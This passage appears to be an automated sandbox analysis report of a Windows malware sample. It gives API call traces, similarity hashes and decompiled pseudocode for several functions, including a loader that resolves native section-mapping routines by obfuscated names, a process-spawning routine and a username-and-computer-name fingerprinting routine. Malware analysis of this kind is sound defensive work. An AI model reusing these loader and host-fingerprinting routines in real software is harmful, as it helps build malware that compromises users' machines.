0x02f9a490
0x02f9a494
0x02f9a49d
0x02f9a49d
0x02f9a4ae
0x02f9a4ae
0x02f9a4bd
0x02f9a4bd
0x02f9a4cc
0x02f9a4cc
0x02f9a4de
0x02f9a4de
0x02f9a4ed
0x02f9a4fe

APIs

GetTickCount.KERNEL32 ref: 02F9A290
wsprintfA.USER32 ref: 02F9A2DD
wsprintfA.USER32 ref: 02F9A2FA
wsprintfA.USER32 ref: 02F9A31D
HeapFree.KERNEL32(00000000,00000000), ref: 02F9A32D
wsprintfA.USER32 ref: 02F9A34F
HeapFree.KERNEL32(00000000,00000000), ref: 02F9A35F
wsprintfA.USER32 ref: 02F9A396
wsprintfA.USER32 ref: 02F9A3B6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 02F9A3D3
GetTickCount.KERNEL32 ref: 02F9A3E3
RtlEnterCriticalSection.NTDLL(03CA9570), ref: 02F9A3F7
RtlLeaveCriticalSection.NTDLL(03CA9570), ref: 02F9A415

Part of subcall function 02F98307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,02F9A428,?,03CA95B0), ref: 02F98332
Part of subcall function 02F98307: lstrlen.KERNEL32(?,?,?,02F9A428,?,03CA95B0), ref: 02F9833A
Part of subcall function 02F98307: strcpy.NTDLL ref: 02F98351
Part of subcall function 02F98307: lstrcat.KERNEL32(00000000,?), ref: 02F9835C
Part of subcall function 02F98307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,02F9A428,?,03CA95B0), ref: 02F98379

StrTrimA.SHLWAPI(00000000,02F9C2AC,?,03CA95B0), ref: 02F9A447

Part of subcall function 02F93CC8: lstrlen.KERNEL32(03CA9910,00000000,00000000,7742C740,02F9A453,00000000), ref: 02F93CD8
Part of subcall function 02F93CC8: lstrlen.KERNEL32(?), ref: 02F93CE0
Part of subcall function 02F93CC8: lstrcpy.KERNEL32(00000000,03CA9910), ref: 02F93CF4
Part of subcall function 02F93CC8: lstrcat.KERNEL32(00000000,?), ref: 02F93CFF

lstrcpy.KERNEL32(00000000,?), ref: 02F9A466
lstrcpy.KERNEL32(00000000,00000000), ref: 02F9A46D
lstrcat.KERNEL32(00000000,?), ref: 02F9A47A
lstrcat.KERNEL32(00000000,00000000), ref: 02F9A47E

Part of subcall function 02F91199: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,74B481D0), ref: 02F9124B

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 02F9A4AE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02F9A4BD
HeapFree.KERNEL32(00000000,00000000,?,03CA95B0), ref: 02F9A4CC
HeapFree.KERNEL32(00000000,00000000), ref: 02F9A4DE
HeapFree.KERNEL32(00000000,?), ref: 02F9A4ED

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: 4e80e4afa1f8bb2d2a0906a8f025aa73446cfbd74184494784acd345397147a3
Instruction ID: 5ce70c321341c45595022432c78a9714f4f9e01efb6a9ef8ce5717f836ecf580
Opcode Fuzzy Hash: 4e80e4afa1f8bb2d2a0906a8f025aa73446cfbd74184494784acd345397147a3
Instruction Fuzzy Hash: A361C171D80208AFEB11EB64EC48F5AB7E8EB48BC0F250815FA08D7260D735E925DF65

Uniqueness

Uniqueness Score: -1.00%

Function 02F9816C, Relevance: 13.6, APIs: 9, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E02F9816C(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				intOrPtr _t91;

				_t79 =  *0x2f9d33c; // 0x3ca9bd8
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E02F970F5(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0x2f9c1ac;
				}
				_t46 = E02F98022(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E02F92049(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0x2f9d27c; // 0xd0a5a8
						_t16 = _t75 + 0x2f9eb28; // 0x530025
						 *0x2f9d11c(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E02F970F5(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0x2f9c1b0;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E02F92049(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E02F99039(_v20);
						} else {
							_t66 =  *0x2f9d27c; // 0xd0a5a8
							_t31 = _t66 + 0x2f9ec48; // 0x73006d
							 *0x2f9d11c(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E02F99039(_v12);
				}
				return _v24;
			}

0x02f98174
0x02f9817a
0x02f98181
0x02f98187
0x02f9818b
0x02f9818f
0x02f98192
0x02f98199
0x02f9819c
0x02f9819e
0x02f9819e
0x02f981a7
0x02f981ae
0x02f981b1
0x02f981b7
0x02f981c1
0x02f981ca
0x02f981d1
0x02f981ea
0x02f981f1
0x02f981f4
0x02f981fd
0x02f98206
0x02f98217
0x02f98220
0x02f98224
0x02f98228
0x02f9822f
0x02f98232
0x02f98234
0x02f98234
0x02f9823e
0x02f98247
0x02f9824e
0x02f98266
0x02f9826a
0x02f982a7
0x02f9826c
0x02f9826f
0x02f98277
0x02f98288
0x02f98294
0x02f9829c
0x02f982a0
0x02f982a0
0x02f9826a
0x02f982af
0x02f982b4
0x02f982bb

APIs

GetTickCount.KERNEL32 ref: 02F98181
lstrlen.KERNEL32(?,80000002,00000005), ref: 02F981C1
lstrlen.KERNEL32(00000000), ref: 02F981CA
lstrlen.KERNEL32(00000000), ref: 02F981D1
lstrlenW.KERNEL32(80000002), ref: 02F981DE
lstrlen.KERNEL32(?,00000004), ref: 02F9823E
lstrlen.KERNEL32(?), ref: 02F98247
lstrlen.KERNEL32(?), ref: 02F9824E
lstrlenW.KERNEL32(?), ref: 02F98255

Part of subcall function 02F99039: HeapFree.KERNEL32(00000000,00000000,02F97F18,00000000,?,?,00000000), ref: 02F99045

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: 094690518737ca457b7a564afb7fc5c58635a8a3df9f51a4527d449b6a903003
Instruction ID: 8fd73de919553a1dc4ae3ea46bf996bb94fdd8f6c43f69df1714cf8ef5e97238
Opcode Fuzzy Hash: 094690518737ca457b7a564afb7fc5c58635a8a3df9f51a4527d449b6a903003
Instruction Fuzzy Hash: 35416B72D00218FFEF11AFA4CC05A9EBBB5EF48784F154055EE04A7220D7359A61EF90

Uniqueness

Uniqueness Score: -1.00%

Function 02F9205E, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E02F9205E(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E02F9692C(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E02F9A8D8( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x2f9d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x2f9d27c; // 0xd0a5a8
					_t18 = _t47 + 0x2f9e3e6; // 0x73797325
					_t68 = E02F995B1(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x2f9d27c; // 0xd0a5a8
						_t19 = _t50 + 0x2f9e747; // 0x3ca8cef
						_t20 = _t50 + 0x2f9e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E02F984D5();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E02F984D5();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x2f9d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E02F99039(_t70);
				goto L12;
			}

0x02f92066
0x02f92066
0x02f92075
0x02f9207e
0x02f92081
0x02f9218e
0x02f92195
0x02f92195
0x02f92090
0x02f92098
0x02f9209d
0x02f920a0
0x02f920b5
0x02f920bb
0x02f920bc
0x02f920bf
0x02f920c5
0x02f920c8
0x02f920cd
0x02f920d5
0x02f920e1
0x02f920e5
0x02f92175
0x02f920eb
0x02f920eb
0x02f920f0
0x02f920f7
0x02f9210b
0x02f9210f
0x02f9215e
0x02f92111
0x02f92112
0x02f92119
0x02f92132
0x02f92134
0x02f92138
0x02f9213f
0x02f92159
0x02f92141
0x02f9214a
0x02f9214f
0x02f9214f
0x02f9213f
0x02f9216d
0x02f9216d
0x02f920e5
0x02f9217c
0x02f92185
0x02f92189
0x00000000

APIs

Part of subcall function 02F9692C: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,02F9207A,?,00000001,?,?,00000000,00000000), ref: 02F96951
Part of subcall function 02F9692C: GetProcAddress.KERNEL32(00000000,7243775A), ref: 02F96973
Part of subcall function 02F9692C: GetProcAddress.KERNEL32(00000000,614D775A), ref: 02F96989
Part of subcall function 02F9692C: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 02F9699F
Part of subcall function 02F9692C: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 02F969B5
Part of subcall function 02F9692C: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 02F969CB

memset.NTDLL ref: 02F920C8

Part of subcall function 02F995B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,02F923E9,63699BCE,02F91354,73797325), ref: 02F995C2
Part of subcall function 02F995B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 02F995DC

GetModuleHandleA.KERNEL32(4E52454B,03CA8CEF,73797325), ref: 02F920FE
GetProcAddress.KERNEL32(00000000), ref: 02F92105
HeapFree.KERNEL32(00000000,00000000), ref: 02F9216D

Part of subcall function 02F984D5: GetProcAddress.KERNEL32(36776F57,02F921E5), ref: 02F984F0

CloseHandle.KERNEL32(00000000,00000001), ref: 02F9214A
CloseHandle.KERNEL32(?), ref: 02F9214F
GetLastError.KERNEL32(00000001), ref: 02F92153

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: f722e70e85de42c6fa0e550703dd5e7dcee5d619f38e9c4093bd3c6f3486c566
Instruction ID: 90ca2f00a9e3b6d8e597af31a0605736caf87e6d76974c40da897c1477a2daa5
Opcode Fuzzy Hash: f722e70e85de42c6fa0e550703dd5e7dcee5d619f38e9c4093bd3c6f3486c566
Instruction Fuzzy Hash: CF310D72D0020CBFEF10AFA4DC88D9EBBBDEB48384F11446AE715A7121D735A9558F60

Uniqueness

Uniqueness Score: -1.00%

Function 02F98307, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E02F98307(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x2f9d27c; // 0xd0a5a8
				_t1 = _t9 + 0x2f9e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E02F99401(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E02F92049(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E02F97225(_t34, _t41, _a8);
						E02F99039(_t41);
						_t42 = E02F98E82(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E02F99039(_t36);
							_t36 = _t42;
						}
						_t43 = E02F9788B(_t36, _t33);
						if(_t43 != 0) {
							E02F99039(_t36);
							_t36 = _t43;
						}
					}
					E02F99039(_t28);
				}
				return _t36;
			}

0x02f98307
0x02f9830a
0x02f9830b
0x02f98313
0x02f9831a
0x02f98321
0x02f98325
0x02f9832b
0x02f98332
0x02f98337
0x02f98349
0x02f9834d
0x02f98351
0x02f98357
0x02f9835c
0x02f9836c
0x02f9836e
0x02f98385
0x02f98389
0x02f9838c
0x02f98391
0x02f98391
0x02f9839a
0x02f9839e
0x02f983a1
0x02f983a6
0x02f983a6
0x02f9839e
0x02f983a9
0x02f983a9
0x02f983b4

APIs

Part of subcall function 02F99401: lstrlen.KERNEL32(00000000,00000000,00000000,7742C740,?,?,?,02F98321,253D7325,00000000,00000000,7742C740,?,?,02F9A428,?), ref: 02F99468
Part of subcall function 02F99401: sprintf.NTDLL ref: 02F99489

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,02F9A428,?,03CA95B0), ref: 02F98332
lstrlen.KERNEL32(?,?,?,02F9A428,?,03CA95B0), ref: 02F9833A

Part of subcall function 02F92049: RtlAllocateHeap.NTDLL(00000000,00000000,02F97E50), ref: 02F92055

strcpy.NTDLL ref: 02F98351
lstrcat.KERNEL32(00000000,?), ref: 02F9835C

Part of subcall function 02F97225: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,02F9836B,00000000,?,?,?,02F9A428,?,03CA95B0), ref: 02F9723C

Part of subcall function 02F99039: HeapFree.KERNEL32(00000000,00000000,02F97F18,00000000,?,?,00000000), ref: 02F99045

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,02F9A428,?,03CA95B0), ref: 02F98379

Part of subcall function 02F98E82: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,02F98385,00000000,?,?,02F9A428,?,03CA95B0), ref: 02F98E8C
Part of subcall function 02F98E82: _snprintf.NTDLL ref: 02F98EEA

Strings

=, xrefs: 02F98373

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: 2d7cbf0fb597f97a6fec39a75442b5a09382544056a1529ce1af0d58b704f340
Instruction ID: c072639e28d478b97a15457f75c01fbc10a30bdd46a8232cb5d723ff5af53813
Opcode Fuzzy Hash: 2d7cbf0fb597f97a6fec39a75442b5a09382544056a1529ce1af0d58b704f340
Instruction Fuzzy Hash: 8711E373900224A76F127BB59C84C7E769E9F8AAD5706401AF70497200DA75CD025BA0

Uniqueness

Uniqueness Score: -1.00%

Function 02F96CC3, Relevance: 9.1, APIs: 6, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 02F96D1F
SysAllocString.OLEAUT32(0070006F), ref: 02F96D33
SysAllocString.OLEAUT32(00000000), ref: 02F96D45
SysFreeString.OLEAUT32(00000000), ref: 02F96DA9
SysFreeString.OLEAUT32(00000000), ref: 02F96DB8
SysFreeString.OLEAUT32(00000000), ref: 02F96DC3

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: ef253d975c32e8a733080c0340a3d8e844254fdc8476ed31a93da2040ee1311a
Instruction ID: c1da6f24be7fc4fa5f9fdf5bb0b26abf0b3096f8298ecc211b2e762def8aac9b
Opcode Fuzzy Hash: ef253d975c32e8a733080c0340a3d8e844254fdc8476ed31a93da2040ee1311a
Instruction Fuzzy Hash: 94318132D00609AFDF41EFBDC844A9FB7BAAF49344F144466EE15EB120DB71990ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 02F9692C, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02F9692C(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E02F92049(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x2f9d27c; // 0xd0a5a8
					_t1 = _t23 + 0x2f9e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x2f9d27c; // 0xd0a5a8
					_t2 = _t26 + 0x2f9e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E02F99039(_t54);
					} else {
						_t30 =  *0x2f9d27c; // 0xd0a5a8
						_t5 = _t30 + 0x2f9e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x2f9d27c; // 0xd0a5a8
							_t7 = _t33 + 0x2f9e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x2f9d27c; // 0xd0a5a8
								_t9 = _t36 + 0x2f9e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x2f9d27c; // 0xd0a5a8
									_t11 = _t39 + 0x2f9e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E02F9727B(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x02f9693b
0x02f9693f
0x02f96a01
0x02f96945
0x02f96945
0x02f9694a
0x02f9695d
0x02f9695f
0x02f96964
0x02f9696c
0x02f96973
0x02f96977
0x02f9697a
0x02f969f9
0x02f969fa
0x02f9697c
0x02f9697c
0x02f96981
0x02f96989
0x02f9698d
0x02f96990
0x00000000
0x02f96992
0x02f96992
0x02f96997
0x02f9699f
0x02f969a3
0x02f969a6
0x00000000
0x02f969a8
0x02f969a8
0x02f969ad
0x02f969b5
0x02f969b9
0x02f969bc
0x00000000
0x02f969be
0x02f969be
0x02f969c3
0x02f969cb
0x02f969cf
0x02f969d2
0x00000000
0x02f969d4
0x02f969da
0x02f969df
0x02f969e6
0x02f969ed
0x02f969f0
0x00000000
0x02f969f2
0x02f969f5
0x02f969f5
0x02f969f0
0x02f969d2
0x02f969bc
0x02f969a6
0x02f96990
0x02f9697a
0x02f96a0f

APIs

Part of subcall function 02F92049: RtlAllocateHeap.NTDLL(00000000,00000000,02F97E50), ref: 02F92055

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,02F9207A,?,00000001,?,?,00000000,00000000), ref: 02F96951
GetProcAddress.KERNEL32(00000000,7243775A), ref: 02F96973
GetProcAddress.KERNEL32(00000000,614D775A), ref: 02F96989
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 02F9699F
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 02F969B5
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 02F969CB

Part of subcall function 02F9727B: memset.NTDLL ref: 02F972FA

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: b52df87f6e06551d09b3c1c6a35b3eb27b3318de802303432635e0254818f3ea
Instruction ID: 6177ca099b794c7c8bd17d427917270a94993dcb5c6ad9e7c8af476b56fc2b6f
Opcode Fuzzy Hash: b52df87f6e06551d09b3c1c6a35b3eb27b3318de802303432635e0254818f3ea
Instruction Fuzzy Hash: 2D212FB1A4120ADFEB20DFAED844E5A77ECEB097C4702452AE615C7200E735E9058F60

Uniqueness

Uniqueness Score: -1.00%

Function 02F97649, Relevance: 7.6, APIs: 5, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02F97649() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t63;
				short* _t66;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t63 = E02F92049(_v12 + _t43 + 2 << 2);
						if(_t63 != 0) {
							_t47 = _v12;
							_t66 = _t63 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t66,  &_v8) == 0) {
								L7:
								E02F99039(_t63);
							} else {
								 *((short*)(_t66 + _v8 * 2 - 2)) = 0x40;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t66[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x2f9a33a
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t66, _t56, _t63, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t63[_t57] = 0;
										_v16 = _t63;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x02f97657
0x02f9765a
0x02f9765d
0x02f97663
0x02f97668
0x02f9766e
0x02f97676
0x02f97679
0x02f9767f
0x02f97684
0x02f97691
0x02f9769e
0x02f976a2
0x02f976a4
0x02f976a8
0x02f976ab
0x02f976bb
0x02f9770d
0x02f9770e
0x02f976bd
0x02f976c0
0x02f976c7
0x02f976ca
0x02f976dd
0x00000000
0x02f976df
0x02f976e2
0x02f976e7
0x02f976f5
0x02f976f8
0x02f97700
0x02f97703
0x00000000
0x02f97705
0x02f97705
0x02f97708
0x02f97708
0x02f97703
0x02f976dd
0x02f97713
0x02f97714
0x02f97684
0x02f9771a

APIs

GetUserNameW.ADVAPI32(00000000,02F9A338), ref: 02F9765D
GetComputerNameW.KERNEL32(00000000,02F9A338), ref: 02F97679

Part of subcall function 02F92049: RtlAllocateHeap.NTDLL(00000000,00000000,02F97E50), ref: 02F92055

GetUserNameW.ADVAPI32(00000000,02F9A338), ref: 02F976B3
GetComputerNameW.KERNEL32(02F9A338,?), ref: 02F976D5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,02F9A338,00000000,02F9A33A,00000000,00000000,?,?,02F9A338), ref: 02F976F8

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: a499c500296d791073d0248f59537c8a5875d3ddd779b25751c740f629939241
Instruction ID: 5935e887fff376c7e844399e777df5b08d80e1a5e743383e0f827d6a2faea69d
Opcode Fuzzy Hash: a499c500296d791073d0248f59537c8a5875d3ddd779b25751c740f629939241
Instruction Fuzzy Hash: 6921D9B6D1020CFBDB11DFA9D985CEEFBB8EE44384B5044AAE601E7210D731AB44DB61

Uniqueness

Uniqueness Score: -1.00%

Function 02F91585, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E02F91585(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E02F97F27(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E02F9A9AB(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x2f9d130() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x02f91585
0x02f91592
0x02f91594
0x02f915f7
0x00000000
0x02f915f7
0x02f915ac
